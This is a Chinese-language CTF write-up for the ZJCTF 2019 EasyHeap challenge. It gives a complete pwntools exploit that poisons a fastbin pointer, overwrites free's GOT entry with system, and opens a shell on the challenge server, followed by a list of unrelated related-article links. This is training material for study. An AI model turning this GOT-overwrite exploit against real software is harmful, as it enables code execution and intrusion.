[ZJCTF 2019]EasyHeap-house of spirit

  • 先给出exp,exp中我标明了每一个步骤
  • 每个步骤执行完后,内存中的地址空间我也贴出来了

exp

from pwn import *
p = remote('node3.buuoj.cn',29012)
#p = process('./easyheap')
context.log_level = 'debug'
def creat(size,content):p.sendlineafter('Your choice :',str(1))p.sendlineafter('Size of Heap : ',str(size))p.sendafter('Content of heap:',content)def edit(index,size,content):p.sendlineafter('Your choice :',str(2))p.sendlineafter('Index :',str(index))p.sendlineafter('Size of Heap : ',str(size))p.sendafter('Content of heap : ',content)def delete(index):p.sendlineafter('Your choice :',str(3))p.sendlineafter('Index :',str(index))
#step1 创建3个chunk
creat(0x60,'a'*0x58) #0
creat(0x60,'b'*0x60) #1
creat(0x60,'c'*0x60) #2
#step2 释放chunk2
delete(2)#step3 修改chunk1 中的内容为 /bin/sh 同时将chunk2 释放出来fast bin 的 fd 指针指向fake chunk
payload = b'/bin/sh\x00' +b'\x00'*0x60 + p64(0x71) + p64(0x6020ad)
edit(1,len(payload),payload)#step4 连续申请两次,得到的chunk2 就是我们在heaparray 附近的fake chunk
creat(0x60,'a')
creat(0x60,'aaa')#step5 通过编辑chunk0,修改free_got 为 system_plt
elf = ELF('./easyheap')
payload = b'a'*3 + p64(0)*4 + p64(elf.got['free'])
edit(3,len(payload),payload)
edit(0,8,p64(elf.plt['system']))#step6 释放chunk1,会执行free(chunk1中的内容),即system('/bin/sh')
delete(1)
p.interactive()

step1 创建3个chunk

step2 释放chunk2

step3 修改chunk1 中的内容为 /bin/sh 同时将chunk2 释放出来fast bin 的 fd 指针指向fake chunk

step4 连续申请两次,得到的chunk2 就是我们在heaparray 附近的fake chunk

step5 通过编辑chunk0,修改free_got 为 system_plt

step6 释放chunk1,会执行free(chunk1中的内容),即system(’/bin/sh’)

[ZJCTF 2019]EasyHeap-house of spirit相关推荐

  1. [BUUCTF-pwn]——[ZJCTF 2019]EasyHeap

    [BUUCTF-pwn]--[ZJCTF 2019]EasyHeap 思路 我们第一个想法肯定是执行l33t这个函数,事实证明被摆了一道.没有结果, 但是我们有system函数我们可以将其放入我们可以 ...

  2. [BUUCTF-pwn]——[ZJCTF 2019]Login

    [BUUCTF-pwn]--[ZJCTF 2019]Login 题目地址:https://buuoj.cn/challenges#[ZJCTF%202019]Login 这道题学习还是很多的, 有的时 ...

  3. [ZJCTF 2019]NiZhuanSiWei

    [ZJCTF 2019]NiZhuanSiWei 这道题所有的考点我都了解过,甚至用来出过类似的题目,但是作者把它们套娃得非常不错,做下来感觉非常有意思! 考点 include 和 file_get_ ...

  4. 2021-09-01[ZJCTF 2019]NiZhuanSiWei

    [ZJCTF 2019]NiZhuanSiWei 首先根据连接打开得到一个,PHP源码: 根据源码分析,我们需要GET三个参数分别是:text,file,password 首先需要检查是否对text传 ...

  5. 第二十四题——[ZJCTF 2019]NiZhuanSiWei

    题目地址:https://buuoj.cn/challenges 解题思路 第一步:进入题目,展示了php代码 第二步:使用data协议绕过text参数检测 经过代码分析,text参数不能为空,且根据 ...

  6. PWN-PRACTICE-BUUCTF-9

    PWN-PRACTICE-BUUCTF-9 [Black Watch 入群题]PWN jarvisoj_level4 picoctf_2018_rop chain [ZJCTF 2019]EasyHe ...

  7. 持续更新 BUUCTF——PWN(一)

    文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...

  8. PWN-PRACTICE-BUUCTF-13

    PWN-PRACTICE-BUUCTF-13 [ZJCTF 2019]Login inndy_rop mrctf2020_shellcode jarvisoj_level1 [ZJCTF 2019]L ...

  9. BUUctf刷题第三天

    [极客大挑战 2019]BuyFlag 进去是一个网页,查看源代码 说只有啥玩意的学生才能买,就抓包看看 发现cookie后面有个user=0,改成一试试 改完后说我是啥啥啥的学生了可以支付购买了 结 ...

最新文章

  1. 一分钟AI | 腾讯市值超5000亿美元创亚洲最高!CV杀红脸了:AI国家队云从科技完成25亿B轮融资
  2. First day in 聚美
  3. 浅析volatile原理及其使用
  4. python开发板比较_再不学点Python,咱真老了--Adafruit Metro M0 Express开发板评测
  5. 谷歌发布TensorFlow 1.4与TensorFlow Lattice:利用先验知识提升模型准确度 搜狐科技 10-12 15:29 选自:Google Research Blog 参与:李泽南、
  6. wex5 app应用 定时退出
  7. RocketMQ如何解决分布式事务
  8. sublime 3 前端神器详细 安装教程
  9. [每日更新-MySQL基础]-1.认识MySQL
  10. matlab 对数函数表示,matlab对数函数怎么表示
  11. 秀!靠这篇我竟然2天理解了CAN协议!实战STM32F4 CAN!
  12. 公共DNS推荐及dns测速
  13. The North American Invitational Programming Contest 2016 I-Tourists
  14. iPhone换屏幕测试软件,怎样检验iPhone是否更换过屏幕?
  15. MPC5748G笔记 CAN can_pal
  16. 一个屌丝程序员的青春(一三二)
  17. mysql字符串类型建立全文索引
  18. 在ubuntu16.04下,使用unrar解压缩rar文件
  19. 酷我音乐盒破解教程(一)
  20. UG二次开发技术的研究

热门文章

  1. POJ 1575 Easier Done Than Said?
  2. PPP协议的相关介绍
  3. Netgear R6220刷潘多拉盒子后的配置,提高网速
  4. iconfont字体图标线上环境加载偶尔乱码问题
  5. 《变形金刚》真人电影知识普及贴-转帖
  6. 综合评价方法(一)------基础知识
  7. 【小程序】微信小程序如何获取用户微信openID?(已解决,完整代码实例)
  8. java 数据后面 l_java-数据类型
  9. AE制作全息风扇视频制作笔记
  10. 力矩 torque详解